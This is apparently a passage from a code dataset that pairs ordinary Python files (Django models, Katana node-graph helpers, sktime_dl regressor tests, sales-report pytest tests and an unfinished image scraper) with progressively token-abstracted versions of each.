UserManager()\n\nclass Event(models.Model):\n name = models.CharField(max_length = 255)\n start = models.CharField(max_length = 255)\n stop = models.CharField(max_length = 255)\n location = models.CharField(max_length = 255)\n description = models.CharField(max_length = 255)\n created_at = models.DateTimeField(auto_now_add = True)\n updated_at = models.DateTimeField(auto_now = True)\n user = models.ForeignKey(User, related_name = \"events\")\n\nclass Group(models.Model):\n groupname = models.CharField(max_length = 255)\n created_at = models.DateTimeField(auto_now_add = True)\n updated_at = models.DateTimeField(auto_now = True)\n\n\n\n\n\n\n# Create your models here.\n" ]

[ "import os, requests, subprocess\n\n \n# url = 'https://google.come/favicon.ico'\n# r = requests.get(url, allow_redirects=True)\n# open ('google.ico', 'wb').write(r.content)\n\n\nreq = requests.get()\ntext = req.text\nimg_url_list = []\n\ntext_list = text.split('img')\n\ndef locate_image(e):\n \n e = e.find('\"')\n \n img_url = e.split('\"')\n img_url = img_url[1]\n img_url_list.append(img_url)\n \nfor e in text_list:\n if 'src' in e:\n locate_image(e)\n\nprint(img_url_list)\n\nfor i in img_url_list:\n req = requests.get(f'GITHUB', stream=True)\n \n with open(i[:4])\n \n" ]

[ "from Katana import (\n NodegraphAPI\n)\n\n\ndef change_node_layout(node, x_spacing=200, y_spacing=100):\n \"\"\"\n \"\"\"\n pos_x, pos_y = NodegraphAPI.GetNodePosition(node)\n\n # Start far enough to the left to leave room for all the node's inputs\n new_pos_x = pos_x - (x_spacing * (node.getNumInputPorts() - 1)) / 2\n new_pos_y = pos_y + y_spacing\n\n for input_port in node.getInputPorts():\n if input_port.getNumConnectedPorts():\n input_node = input_port.getConnectedPort(0).getNode()\n\n # Stop if we hit our own parent - this means the connection leaves\n # the GroupNode we're in\n if input_node != node.getParent():\n NodegraphAPI.SetNodePosition(input_node, (new_pos_x, new_pos_y))\n\n # Recursively call this function\n change_node_layout(input_node, x_spacing, y_spacing)\n\n new_pos_x += x_spacing\n\n\ndef add_node_reference_param(dest_node, dest_node_param_name, node):\n \"\"\"\n \"\"\"\n # Get or create the parameter on the given node\n dest_node_param = dest_node.getParameter(dest_node_param_name)\n\n if not dest_node_param:\n dest_node_param = dest_node.getParameters().createChildString(dest_node_param_name, \"\")\n\n # Set the expression to point to the node name\n dest_node_param.setExpression(\"getNode('{node_name}').getNodeName()\".format(node_name=node.getName()))\n\n\ndef get_reference_node(node, key):\n \"\"\"\n \"\"\"\n parameter = node.getParameter(\"node_\" + key)\n\n if not parameter:\n return None\n\n return NodegraphAPI.GetNode(parameter.getValue(0))\n", "from Katana import NodegraphAPI\n\n\ndef change_node_layout(node, x_spacing=200, y_spacing=100):\n \"\"\"\n \"\"\"\n pos_x, pos_y = NodegraphAPI.GetNodePosition(node)\n new_pos_x = pos_x - x_spacing * (node.getNumInputPorts() - 1) / 2\n new_pos_y = pos_y + y_spacing\n for input_port in node.getInputPorts():\n if input_port.getNumConnectedPorts():\n input_node = input_port.getConnectedPort(0).getNode()\n if input_node != node.getParent():\n NodegraphAPI.SetNodePosition(input_node, (new_pos_x, new_pos_y)\n )\n change_node_layout(input_node, x_spacing, y_spacing)\n new_pos_x += x_spacing\n\n\ndef add_node_reference_param(dest_node, dest_node_param_name, node):\n \"\"\"\n \"\"\"\n dest_node_param = dest_node.getParameter(dest_node_param_name)\n if not dest_node_param:\n dest_node_param = dest_node.getParameters().createChildString(\n dest_node_param_name, '')\n dest_node_param.setExpression(\"getNode('{node_name}').getNodeName()\".\n format(node_name=node.getName()))\n\n\ndef get_reference_node(node, key):\n \"\"\"\n \"\"\"\n parameter = node.getParameter('node_' + key)\n if not parameter:\n return None\n return NodegraphAPI.GetNode(parameter.getValue(0))\n", "<import token>\n\n\ndef change_node_layout(node, x_spacing=200, y_spacing=100):\n \"\"\"\n \"\"\"\n pos_x, pos_y = NodegraphAPI.GetNodePosition(node)\n new_pos_x = pos_x - x_spacing * (node.getNumInputPorts() - 1) / 2\n new_pos_y = pos_y + y_spacing\n for input_port in node.getInputPorts():\n if input_port.getNumConnectedPorts():\n input_node = input_port.getConnectedPort(0).getNode()\n if input_node != node.getParent():\n NodegraphAPI.SetNodePosition(input_node, (new_pos_x, new_pos_y)\n )\n change_node_layout(input_node, x_spacing, y_spacing)\n new_pos_x += x_spacing\n\n\ndef add_node_reference_param(dest_node, dest_node_param_name, node):\n \"\"\"\n \"\"\"\n dest_node_param = dest_node.getParameter(dest_node_param_name)\n if not dest_node_param:\n dest_node_param = dest_node.getParameters().createChildString(\n dest_node_param_name, '')\n dest_node_param.setExpression(\"getNode('{node_name}').getNodeName()\".\n format(node_name=node.getName()))\n\n\ndef get_reference_node(node, key):\n \"\"\"\n \"\"\"\n parameter = node.getParameter('node_' + key)\n if not parameter:\n return None\n return NodegraphAPI.GetNode(parameter.getValue(0))\n", "<import token>\n\n\ndef change_node_layout(node, x_spacing=200, y_spacing=100):\n \"\"\"\n \"\"\"\n pos_x, pos_y = NodegraphAPI.GetNodePosition(node)\n new_pos_x = pos_x - x_spacing * (node.getNumInputPorts() - 1) / 2\n new_pos_y = pos_y + y_spacing\n for input_port in node.getInputPorts():\n if input_port.getNumConnectedPorts():\n input_node = input_port.getConnectedPort(0).getNode()\n if input_node != node.getParent():\n NodegraphAPI.SetNodePosition(input_node, (new_pos_x, new_pos_y)\n )\n change_node_layout(input_node, x_spacing, y_spacing)\n new_pos_x += x_spacing\n\n\ndef add_node_reference_param(dest_node, dest_node_param_name, node):\n \"\"\"\n \"\"\"\n dest_node_param = dest_node.getParameter(dest_node_param_name)\n if not dest_node_param:\n dest_node_param = dest_node.getParameters().createChildString(\n dest_node_param_name, '')\n dest_node_param.setExpression(\"getNode('{node_name}').getNodeName()\".\n format(node_name=node.getName()))\n\n\n<function token>\n", "<import token>\n<function token>\n\n\ndef add_node_reference_param(dest_node, dest_node_param_name, node):\n \"\"\"\n \"\"\"\n dest_node_param = dest_node.getParameter(dest_node_param_name)\n if not dest_node_param:\n dest_node_param = dest_node.getParameters().createChildString(\n dest_node_param_name, '')\n dest_node_param.setExpression(\"getNode('{node_name}').getNodeName()\".\n format(node_name=node.getName()))\n\n\n<function token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n" ]

[ "import numpy as np\nimport pytest\nfrom sklearn.metrics import mean_squared_error\nfrom sktime.datasets import load_airline\nfrom sktime.datasets import load_italy_power_demand\nfrom sktime.forecasting.compose import RecursiveTimeSeriesRegressionForecaster\nfrom sktime.forecasting.model_selection import temporal_train_test_split\n\nfrom sktime_dl.regression import MLPRegressor, MCDCNNRegressor, CNTCRegressor,\\\n LSTMFCNRegressor\n\nfrom sktime_dl.utils.model_lists import (SMALL_NB_EPOCHS,\n construct_all_regressors)\n\n\ndef test_regressor(estimator=CNTCRegressor(nb_epochs=SMALL_NB_EPOCHS)):\n \"\"\"\n test a regressor\n \"\"\"\n print(\"Start test_regressor()\")\n X_train, y_train = load_italy_power_demand(split=\"train\", return_X_y=True)\n X_test, y_test = load_italy_power_demand(split=\"test\", return_X_y=True)\n\n # Create some regression values\n y_train = np.zeros(len(y_train))\n for i in range(len(X_train)):\n y_train[i] = X_train.iloc[i].iloc[0].iloc[0]\n y_test = np.zeros(len(y_test))\n for i in range(len(X_test)):\n y_test[i] = X_test.iloc[i].iloc[0].iloc[0]\n\n estimator.fit(X_train[:10], y_train[:10])\n estimator.predict(X_test[:10])\n score = estimator.score(X_test[:10], y_test[:10])\n\n print(\"Estimator score:\", score)\n print(\"End test_regressor()\")\n\n\ndef test_regressor_forecasting(\n regressor=CNTCRegressor(nb_epochs=SMALL_NB_EPOCHS), window_length=4\n):\n \"\"\"\n test a regressor used for forecasting\n \"\"\"\n print(\"Start test_regressor_forecasting()\")\n\n if isinstance(regressor, MCDCNNRegressor):\n regressor.nb_epochs = regressor.nb_epochs * 2\n\n # load univariate time series data\n y = load_airline()\n y_train, y_test = temporal_train_test_split(y, test_size=5)\n y_train = y_train[:window_length * 2]\n\n # specify forecasting horizon\n fh = np.arange(len(y_test)) + 1\n\n # solve forecasting task via reduction to time series regression\n forecaster = RecursiveTimeSeriesRegressionForecaster(\n estimator=regressor, window_length=window_length\n )\n forecaster.fit(y_train)\n y_pred = forecaster.predict(fh)\n\n try:\n mse = np.sqrt(mean_squared_error(y_test, y_pred))\n print(\"Error:\", mse)\n except ValueError:\n if isinstance(regressor, MCDCNNRegressor):\n print(\n \"Warning: MCDCNNRegressor produced NaN predictions. This is a \"\n \"known problem brought about by insufficient data/learning. \"\n \"For now, we accept that this particular network produced \"\n \"predictions at all (even NaNs) as passing for this \"\n \"particular test. Providing more data/epochs risks slowing \"\n \"down tests too much.\")\n else:\n # unexpected error in all other cases\n raise\n\n print(\"End test_regressor_forecasting()\")\n\n\ndef test_all_regressors():\n for name, network in construct_all_regressors(SMALL_NB_EPOCHS).items():\n print(\"\\n\\t\\t\" + name + \" testing started\")\n test_regressor(network)\n print(\"\\t\\t\" + name + \" testing finished\")\n\n\[email protected](\n \"name, network\",\n construct_all_regressors(SMALL_NB_EPOCHS).items()\n)\ndef test_all_forecasters(name, network):\n window_length = 8\n print(\"\\n\\t\\t\" + name + \" forecasttesting \\\n started\")\n test_regressor_forecasting(network, window_length=window_length)\n print(\"\\t\\t\" + name + \" forecasttesting \\\n finished\")\n", "import numpy as np\nimport pytest\nfrom sklearn.metrics import mean_squared_error\nfrom sktime.datasets import load_airline\nfrom sktime.datasets import load_italy_power_demand\nfrom sktime.forecasting.compose import RecursiveTimeSeriesRegressionForecaster\nfrom sktime.forecasting.model_selection import temporal_train_test_split\nfrom sktime_dl.regression import MLPRegressor, MCDCNNRegressor, CNTCRegressor, LSTMFCNRegressor\nfrom sktime_dl.utils.model_lists import SMALL_NB_EPOCHS, construct_all_regressors\n\n\ndef test_regressor(estimator=CNTCRegressor(nb_epochs=SMALL_NB_EPOCHS)):\n \"\"\"\n test a regressor\n \"\"\"\n print('Start test_regressor()')\n X_train, y_train = load_italy_power_demand(split='train', return_X_y=True)\n X_test, y_test = load_italy_power_demand(split='test', return_X_y=True)\n y_train = np.zeros(len(y_train))\n for i in range(len(X_train)):\n y_train[i] = X_train.iloc[i].iloc[0].iloc[0]\n y_test = np.zeros(len(y_test))\n for i in range(len(X_test)):\n y_test[i] = X_test.iloc[i].iloc[0].iloc[0]\n estimator.fit(X_train[:10], y_train[:10])\n estimator.predict(X_test[:10])\n score = estimator.score(X_test[:10], y_test[:10])\n print('Estimator score:', score)\n print('End test_regressor()')\n\n\ndef test_regressor_forecasting(regressor=CNTCRegressor(nb_epochs=\n SMALL_NB_EPOCHS), window_length=4):\n \"\"\"\n test a regressor used for forecasting\n \"\"\"\n print('Start test_regressor_forecasting()')\n if isinstance(regressor, MCDCNNRegressor):\n regressor.nb_epochs = regressor.nb_epochs * 2\n y = load_airline()\n y_train, y_test = temporal_train_test_split(y, test_size=5)\n y_train = y_train[:window_length * 2]\n fh = np.arange(len(y_test)) + 1\n forecaster = RecursiveTimeSeriesRegressionForecaster(estimator=\n regressor, window_length=window_length)\n forecaster.fit(y_train)\n y_pred = forecaster.predict(fh)\n try:\n mse = np.sqrt(mean_squared_error(y_test, y_pred))\n print('Error:', mse)\n except ValueError:\n if isinstance(regressor, MCDCNNRegressor):\n print(\n 'Warning: MCDCNNRegressor produced NaN predictions. This is a known problem brought about by insufficient data/learning. For now, we accept that this particular network produced predictions at all (even NaNs) as passing for this particular test. Providing more data/epochs risks slowing down tests too much.'\n )\n else:\n raise\n print('End test_regressor_forecasting()')\n\n\ndef test_all_regressors():\n for name, network in construct_all_regressors(SMALL_NB_EPOCHS).items():\n print('\\n\\t\\t' + name + ' testing started')\n test_regressor(network)\n print('\\t\\t' + name + ' testing finished')\n\n\[email protected]('name, network', construct_all_regressors(\n SMALL_NB_EPOCHS).items())\ndef test_all_forecasters(name, network):\n window_length = 8\n print('\\n\\t\\t' + name + ' forecasttesting started')\n test_regressor_forecasting(network, window_length=window_length)\n print('\\t\\t' + name + ' forecasttesting finished')\n", "<import token>\n\n\ndef test_regressor(estimator=CNTCRegressor(nb_epochs=SMALL_NB_EPOCHS)):\n \"\"\"\n test a regressor\n \"\"\"\n print('Start test_regressor()')\n X_train, y_train = load_italy_power_demand(split='train', return_X_y=True)\n X_test, y_test = load_italy_power_demand(split='test', return_X_y=True)\n y_train = np.zeros(len(y_train))\n for i in range(len(X_train)):\n y_train[i] = X_train.iloc[i].iloc[0].iloc[0]\n y_test = np.zeros(len(y_test))\n for i in range(len(X_test)):\n y_test[i] = X_test.iloc[i].iloc[0].iloc[0]\n estimator.fit(X_train[:10], y_train[:10])\n estimator.predict(X_test[:10])\n score = estimator.score(X_test[:10], y_test[:10])\n print('Estimator score:', score)\n print('End test_regressor()')\n\n\ndef test_regressor_forecasting(regressor=CNTCRegressor(nb_epochs=\n SMALL_NB_EPOCHS), window_length=4):\n \"\"\"\n test a regressor used for forecasting\n \"\"\"\n print('Start test_regressor_forecasting()')\n if isinstance(regressor, MCDCNNRegressor):\n regressor.nb_epochs = regressor.nb_epochs * 2\n y = load_airline()\n y_train, y_test = temporal_train_test_split(y, test_size=5)\n y_train = y_train[:window_length * 2]\n fh = np.arange(len(y_test)) + 1\n forecaster = RecursiveTimeSeriesRegressionForecaster(estimator=\n regressor, window_length=window_length)\n forecaster.fit(y_train)\n y_pred = forecaster.predict(fh)\n try:\n mse = np.sqrt(mean_squared_error(y_test, y_pred))\n print('Error:', mse)\n except ValueError:\n if isinstance(regressor, MCDCNNRegressor):\n print(\n 'Warning: MCDCNNRegressor produced NaN predictions. This is a known problem brought about by insufficient data/learning. For now, we accept that this particular network produced predictions at all (even NaNs) as passing for this particular test. Providing more data/epochs risks slowing down tests too much.'\n )\n else:\n raise\n print('End test_regressor_forecasting()')\n\n\ndef test_all_regressors():\n for name, network in construct_all_regressors(SMALL_NB_EPOCHS).items():\n print('\\n\\t\\t' + name + ' testing started')\n test_regressor(network)\n print('\\t\\t' + name + ' testing finished')\n\n\[email protected]('name, network', construct_all_regressors(\n SMALL_NB_EPOCHS).items())\ndef test_all_forecasters(name, network):\n window_length = 8\n print('\\n\\t\\t' + name + ' forecasttesting started')\n test_regressor_forecasting(network, window_length=window_length)\n print('\\t\\t' + name + ' forecasttesting finished')\n", "<import token>\n\n\ndef test_regressor(estimator=CNTCRegressor(nb_epochs=SMALL_NB_EPOCHS)):\n \"\"\"\n test a regressor\n \"\"\"\n print('Start test_regressor()')\n X_train, y_train = load_italy_power_demand(split='train', return_X_y=True)\n X_test, y_test = load_italy_power_demand(split='test', return_X_y=True)\n y_train = np.zeros(len(y_train))\n for i in range(len(X_train)):\n y_train[i] = X_train.iloc[i].iloc[0].iloc[0]\n y_test = np.zeros(len(y_test))\n for i in range(len(X_test)):\n y_test[i] = X_test.iloc[i].iloc[0].iloc[0]\n estimator.fit(X_train[:10], y_train[:10])\n estimator.predict(X_test[:10])\n score = estimator.score(X_test[:10], y_test[:10])\n print('Estimator score:', score)\n print('End test_regressor()')\n\n\ndef test_regressor_forecasting(regressor=CNTCRegressor(nb_epochs=\n SMALL_NB_EPOCHS), window_length=4):\n \"\"\"\n test a regressor used for forecasting\n \"\"\"\n print('Start test_regressor_forecasting()')\n if isinstance(regressor, MCDCNNRegressor):\n regressor.nb_epochs = regressor.nb_epochs * 2\n y = load_airline()\n y_train, y_test = temporal_train_test_split(y, test_size=5)\n y_train = y_train[:window_length * 2]\n fh = np.arange(len(y_test)) + 1\n forecaster = RecursiveTimeSeriesRegressionForecaster(estimator=\n regressor, window_length=window_length)\n forecaster.fit(y_train)\n y_pred = forecaster.predict(fh)\n try:\n mse = np.sqrt(mean_squared_error(y_test, y_pred))\n print('Error:', mse)\n except ValueError:\n if isinstance(regressor, MCDCNNRegressor):\n print(\n 'Warning: MCDCNNRegressor produced NaN predictions. This is a known problem brought about by insufficient data/learning. For now, we accept that this particular network produced predictions at all (even NaNs) as passing for this particular test. Providing more data/epochs risks slowing down tests too much.'\n )\n else:\n raise\n print('End test_regressor_forecasting()')\n\n\ndef test_all_regressors():\n for name, network in construct_all_regressors(SMALL_NB_EPOCHS).items():\n print('\\n\\t\\t' + name + ' testing started')\n test_regressor(network)\n print('\\t\\t' + name + ' testing finished')\n\n\n<function token>\n", "<import token>\n\n\ndef test_regressor(estimator=CNTCRegressor(nb_epochs=SMALL_NB_EPOCHS)):\n \"\"\"\n test a regressor\n \"\"\"\n print('Start test_regressor()')\n X_train, y_train = load_italy_power_demand(split='train', return_X_y=True)\n X_test, y_test = load_italy_power_demand(split='test', return_X_y=True)\n y_train = np.zeros(len(y_train))\n for i in range(len(X_train)):\n y_train[i] = X_train.iloc[i].iloc[0].iloc[0]\n y_test = np.zeros(len(y_test))\n for i in range(len(X_test)):\n y_test[i] = X_test.iloc[i].iloc[0].iloc[0]\n estimator.fit(X_train[:10], y_train[:10])\n estimator.predict(X_test[:10])\n score = estimator.score(X_test[:10], y_test[:10])\n print('Estimator score:', score)\n print('End test_regressor()')\n\n\ndef test_regressor_forecasting(regressor=CNTCRegressor(nb_epochs=\n SMALL_NB_EPOCHS), window_length=4):\n \"\"\"\n test a regressor used for forecasting\n \"\"\"\n print('Start test_regressor_forecasting()')\n if isinstance(regressor, MCDCNNRegressor):\n regressor.nb_epochs = regressor.nb_epochs * 2\n y = load_airline()\n y_train, y_test = temporal_train_test_split(y, test_size=5)\n y_train = y_train[:window_length * 2]\n fh = np.arange(len(y_test)) + 1\n forecaster = RecursiveTimeSeriesRegressionForecaster(estimator=\n regressor, window_length=window_length)\n forecaster.fit(y_train)\n y_pred = forecaster.predict(fh)\n try:\n mse = np.sqrt(mean_squared_error(y_test, y_pred))\n print('Error:', mse)\n except ValueError:\n if isinstance(regressor, MCDCNNRegressor):\n print(\n 'Warning: MCDCNNRegressor produced NaN predictions. This is a known problem brought about by insufficient data/learning. For now, we accept that this particular network produced predictions at all (even NaNs) as passing for this particular test. Providing more data/epochs risks slowing down tests too much.'\n )\n else:\n raise\n print('End test_regressor_forecasting()')\n\n\n<function token>\n<function token>\n", "<import token>\n\n\ndef test_regressor(estimator=CNTCRegressor(nb_epochs=SMALL_NB_EPOCHS)):\n \"\"\"\n test a regressor\n \"\"\"\n print('Start test_regressor()')\n X_train, y_train = load_italy_power_demand(split='train', return_X_y=True)\n X_test, y_test = load_italy_power_demand(split='test', return_X_y=True)\n y_train = np.zeros(len(y_train))\n for i in range(len(X_train)):\n y_train[i] = X_train.iloc[i].iloc[0].iloc[0]\n y_test = np.zeros(len(y_test))\n for i in range(len(X_test)):\n y_test[i] = X_test.iloc[i].iloc[0].iloc[0]\n estimator.fit(X_train[:10], y_train[:10])\n estimator.predict(X_test[:10])\n score = estimator.score(X_test[:10], y_test[:10])\n print('Estimator score:', score)\n print('End test_regressor()')\n\n\n<function token>\n<function token>\n<function token>\n", "<import token>\n<function token>\n<function token>\n<function token>\n<function token>\n" ]

[ "from pathlib import Path\n\nimport pytest\nimport sys\n\nSRC_DIR = Path(__file__).parent.parent / 'src'\nsys.path.append(str(SRC_DIR))\n\nfrom sales_report import *\n\nrecords = [\n Record('0001', '001', '12'),\n Record('0012', '001', '1000'),\n Record('0012', '001', '32'),\n Record('0009', '007', '207'),\n Record('0112', '007', '12119'),\n Record('1009', '007', '200'),\n]\n\n\nclass TestSalesReport:\n\n def test_process_product(self):\n prod = process_product('0001', iter(records[:1]))\n assert next(prod) == ' Product: 0001 Value: 12'\n with pytest.raises(StopIteration) as e_info:\n next(prod)\n assert e_info.value.value == 12\n\n prod = process_product('0012', records[1:3])\n assert next(prod) == ' Product: 0012 Value: 1032'\n with pytest.raises(StopIteration) as e_info:\n next(prod)\n assert e_info.value.value == 1032\n\n def test_process_product_group(self):\n prod_group = process_product_group('001', iter(records[:3]))\n assert next(prod_group) == 'Group: 001'\n assert next(prod_group) == ' Product: 0001 Value: 12'\n assert next(prod_group) == ' Product: 0012 Value: 1032'\n assert next(prod_group) == ' Group total: 1044'\n assert next(prod_group) == ''\n with pytest.raises(StopIteration) as e_info:\n next(prod_group)\n assert e_info.value.value == 1044\n\n prod_group = process_product_group('007', iter(records[3:]))\n assert next(prod_group) == 'Group: 007'\n assert next(prod_group) == ' Product: 0009 Value: 207'\n assert next(prod_group) == ' Product: 0112 Value: 12119'\n assert next(prod_group) == ' Product: 1009 Value: 200'\n assert next(prod_group) == ' Group total: 12526'\n assert next(prod_group) == ''\n with pytest.raises(StopIteration) as e_info:\n next(prod_group)\n assert e_info.value.value == 12526\n\n def test_generate_report(self):\n report_lines = process_all(records)\n assert '\\n'.join(report_lines) == \"\"\"\\\nGroup: 001\n Product: 0001 Value: 12\n Product: 0012 Value: 1032\n Group total: 1044\n\nGroup: 007\n Product: 0009 Value: 207\n Product: 0112 Value: 12119\n Product: 1009 Value: 200\n Group total: 12526\n\nTotal: 13570\"\"\"\n", "from pathlib import Path\nimport pytest\nimport sys\nSRC_DIR = Path(__file__).parent.parent / 'src'\nsys.path.append(str(SRC_DIR))\nfrom sales_report import *\nrecords = [Record('0001', '001', '12'), Record('0012', '001', '1000'),\n Record('0012', '001', '32'), Record('0009', '007', '207'), Record(\n '0112', '007', '12119'), Record('1009', '007', '200')]\n\n\nclass TestSalesReport:\n\n def test_process_product(self):\n prod = process_product('0001', iter(records[:1]))\n assert next(prod) == ' Product: 0001 Value: 12'\n with pytest.raises(StopIteration) as e_info:\n next(prod)\n assert e_info.value.value == 12\n prod = process_product('0012', records[1:3])\n assert next(prod) == ' Product: 0012 Value: 1032'\n with pytest.raises(StopIteration) as e_info:\n next(prod)\n assert e_info.value.value == 1032\n\n def test_process_product_group(self):\n prod_group = process_product_group('001', iter(records[:3]))\n assert next(prod_group) == 'Group: 001'\n assert next(prod_group) == ' Product: 0001 Value: 12'\n assert next(prod_group) == ' Product: 0012 Value: 1032'\n assert next(prod_group) == ' Group total: 1044'\n assert next(prod_group) == ''\n with pytest.raises(StopIteration) as e_info:\n next(prod_group)\n assert e_info.value.value == 1044\n prod_group = process_product_group('007', iter(records[3:]))\n assert next(prod_group) == 'Group: 007'\n assert next(prod_group) == ' Product: 0009 Value: 207'\n assert next(prod_group) == ' Product: 0112 Value: 12119'\n assert next(prod_group) == ' Product: 1009 Value: 200'\n assert next(prod_group) == ' Group total: 12526'\n assert next(prod_group) == ''\n with pytest.raises(StopIteration) as e_info:\n next(prod_group)\n assert e_info.value.value == 12526\n\n def test_generate_report(self):\n report_lines = process_all(records)\n assert '\\n'.join(report_lines) == \"\"\"Group: 001\n Product: 0001 Value: 12\n Product: 0012 Value: 1032\n Group total: 1044\n\nGroup: 007\n Product: 0009 Value: 207\n Product: 0112 Value: 12119\n Product: 1009 Value: 200\n Group total: 12526\n\nTotal: 13570\"\"\"\n", "<import token>\nSRC_DIR = Path(__file__).parent.parent / 'src'\nsys.path.append(str(SRC_DIR))\n<import token>\nrecords = [Record('0001', '001', '12'), Record('0012', '001', '1000'),\n Record('0012', '001', '32'), Record('0009', '007', '207'), Record(\n '0112', '007', '12119'), Record('1009', '007', '200')]\n\n\nclass TestSalesReport:\n\n def test_process_product(self):\n prod = process_product('0001', iter(records[:1]))\n assert next(prod) == ' Product: 0001 Value: 12'\n with pytest.raises(StopIteration) as e_info:\n next(prod)\n assert e_info.value.value == 12\n prod = process_product('0012', records[1:3])\n assert next(prod) == ' Product: 0012 Value: 1032'\n with pytest.raises(StopIteration) as e_info:\n next(prod)\n assert e_info.value.value == 1032\n\n def test_process_product_group(self):\n prod_group = process_product_group('001', iter(records[:3]))\n assert next(prod_group) == 'Group: 001'\n assert next(prod_group) == ' Product: 0001 Value: 12'\n assert next(prod_group) == ' Product: 0012 Value: 1032'\n assert next(prod_group) == ' Group total: 1044'\n assert next(prod_group) == ''\n with pytest.raises(StopIteration) as e_info:\n next(prod_group)\n assert e_info.value.value == 1044\n prod_group = process_product_group('007', iter(records[3:]))\n assert next(prod_group) == 'Group: 007'\n assert next(prod_group) == ' Product: 0009 Value: 207'\n assert next(prod_group) == ' Product: 0112 Value: 12119'\n assert next(prod_group) == ' Product: 1009 Value: 200'\n assert next(prod_group) == ' Group total: 12526'\n assert next(prod_group) == ''\n with pytest.raises(StopIteration) as e_info:\n next(prod_group)\n assert e_info.value.value == 12526\n\n def test_generate_report(self):\n report_lines = process_all(records)\n assert '\\n'.join(report_lines) == \"\"\"Group: 001\n Product: 0001 Value: 12\n Product: 0012 Value: 1032\n Group total: 1044\n\nGroup: 007\n Product: 0009 Value: 207\n Product: 0112 Value: 12119\n Product: 1009 Value: 200\n Group total: 12526\n\nTotal: 13570\"\"\"\n", "<import token>\n<assignment token>\nsys.path.append(str(SRC_DIR))\n<import token>\n<assignment token>\n\n\nclass TestSalesReport:\n\n def test_process_product(self):\n prod = process_product('0001', iter(records[:1]))\n assert next(prod) == ' Product: 0001 Value: 12'\n with pytest.raises(StopIteration) as e_info:\n next(prod)\n assert e_info.value.value == 12\n prod = process_product('0012', records[1:3])\n assert next(prod) == ' Product: 0012 Value: 1032'\n with pytest.raises(StopIteration) as e_info:\n next(prod)\n assert e_info.value.value == 1032\n\n def test_process_product_group(self):\n prod_group = process_product_group('001', iter(records[:3]))\n assert next(prod_group) == 'Group: 001'\n assert next(prod_group) == ' Product: 0001 Value: 12'\n assert next(prod_group) == ' Product: 0012 Value: 1032'\n assert next(prod_group) == ' Group total: 1044'\n assert next(prod_group) == ''\n with pytest.raises(StopIteration) as e_info:\n next(prod_group)\n assert e_info.value.value == 1044\n prod_group = process_product_group('007', iter(records[3:]))\n assert next(prod_group) == 'Group: 007'\n assert next(prod_group) == ' Product: 0009 Value: 207'\n assert next(prod_group) == ' Product: 0112 Value: 12119'\n assert next(prod_group) == ' Product: 1009 Value: 200'\n assert next(prod_group) == ' Group total: 12526'\n assert next(prod_group) == ''\n with pytest.raises(StopIteration) as e_info:\n next(prod_group)\n assert e_info.value.value == 12526\n\n def test_generate_report(self):\n report_lines = process_all(records)\n assert '\\n'.join(report_lines) == \"\"\"Group: 001\n Product: 0001 Value: 12\n Product: 0012 Value: 1032\n Group total: 1044\n\nGroup: 007\n Product: 0009 Value: 207\n Product: 0112 Value: 12119\n Product: 1009 Value: 200\n Group total: 12526\n\nTotal: 13570\"\"\"\n", "<import token>\n<assignment token>\n<code token>\n<import token>\n<assignment token>\n\n\nclass TestSalesReport:\n\n def test_process_product(self):\n prod = process_product('0001', iter(records[:1]))\n assert next(prod) == ' Product: 0001 Value: 12'\n with pytest.raises(StopIteration) as e_info:\n next(prod)\n assert e_info.value.value == 12\n prod = process_product('0012', records[1:3])\n assert next(prod) == ' Product: 0012 Value: 1032'\n with pytest.raises(StopIteration) as e_info:\n next(prod)\n assert e_info.value.value == 1032\n\n def test_process_product_group(self):\n prod_group = process_product_group('001', iter(records[:3]))\n assert next(prod_group) == 'Group: 001'\n assert next(prod_group) == ' Product: 0001 Value: 12'\n assert next(prod_group) == ' Product: 0012 Value: 1032'\n assert next(prod_group) == ' Group total: 1044'\n assert next(prod_group) == ''\n with pytest.raises(StopIteration) as e_info:\n next(prod_group)\n assert e_info.value.value == 1044\n prod_group = process_product_group('007', iter(records[3:]))\n assert next(prod_group) == 'Group: 007'\n assert next(prod_group) == ' Product: 0009 Value: 207'\n assert next(prod_group) == ' Product: 0112 Value: 12119'\n assert next(prod_group) == ' Product: 1009 Value: 200'\n assert next(prod_group) == ' Group total: 12526'\n assert next(prod_group) == ''\n with pytest.raises(StopIteration) as e_info:\n next(prod_group)\n assert e_info.value.value == 12526\n\n def test_generate_report(self):\n report_lines = process_all(records)\n assert '\\n'.join(report_lines) == \"\"\"Group: 001\n Product: 0001 Value: 12\n Product: 0012 Value: 1032\n Group total: 1044\n\nGroup: 007\n Product: 0009 Value: 207\n Product: 0112 Value: 12119\n Product: 1009 Value: 200\n Group total: 12526\n\nTotal: 13570\"\"\"\n", "<import token>\n<assignment token>\n<code token>\n<import token>\n<assignment token>\n\n\nclass TestSalesReport:\n\n def test_process_product(self):\n prod = process_product('0001', iter(records[:1]))\n assert next(prod) == ' Product: 0001 Value: 12'\n with pytest.raises(StopIteration) as e_info:\n next(prod)\n assert e_info.value.value == 12\n prod = process_product('0012', records[1:3])\n assert next(prod) == ' Product: 0012 Value: 1032'\n with pytest.raises(StopIteration) as e_info:\n next(prod)\n assert e_info.value.value == 1032\n <function token>\n\n def test_generate_report(self):\n report_lines = process_all(records)\n assert '\\n'.join(report_lines) == \"\"\"Group: 001\n Product: 0001 Value: 12\n Product: 0012 Value: 1032\n Group total: 1044\n\nGroup: 007\n Product: 0009 Value: 207\n Product: 0112 Value: 12119\n Product: 1009 Value: 200\n Group total: 12526\n\nTotal: 13570\"\"\"\n", "<import token>\n<assignment token>\n<code token>\n<import token>\n<assignment token>\n\n\nclass TestSalesReport:\n <function token>\n <function token>\n\n def test_generate_report(self):\n report_lines = process_all(records)\n assert '\\n'.join(report_lines) == \"\"\"Group: 001\n Product: 0001 Value: 12\n Product: 0012 Value: 1032\n Group total: 1044\n\nGroup: 007\n Product: 0009 Value: 207\n Product: 0112 Value: 12119\n Product: 1009 Value: 200\n Group total: 12526\n\nTotal: 13570\"\"\"\n", "<import token>\n<assignment token>\n<code token>\n<import token>\n<assignment token>\n\n\nclass TestSalesReport:\n <function token>\n <function token>\n <function token>\n", "<import token>\n<assignment token>\n<code token>\n<import token>\n<assignment token>\n<class token>\n" ]

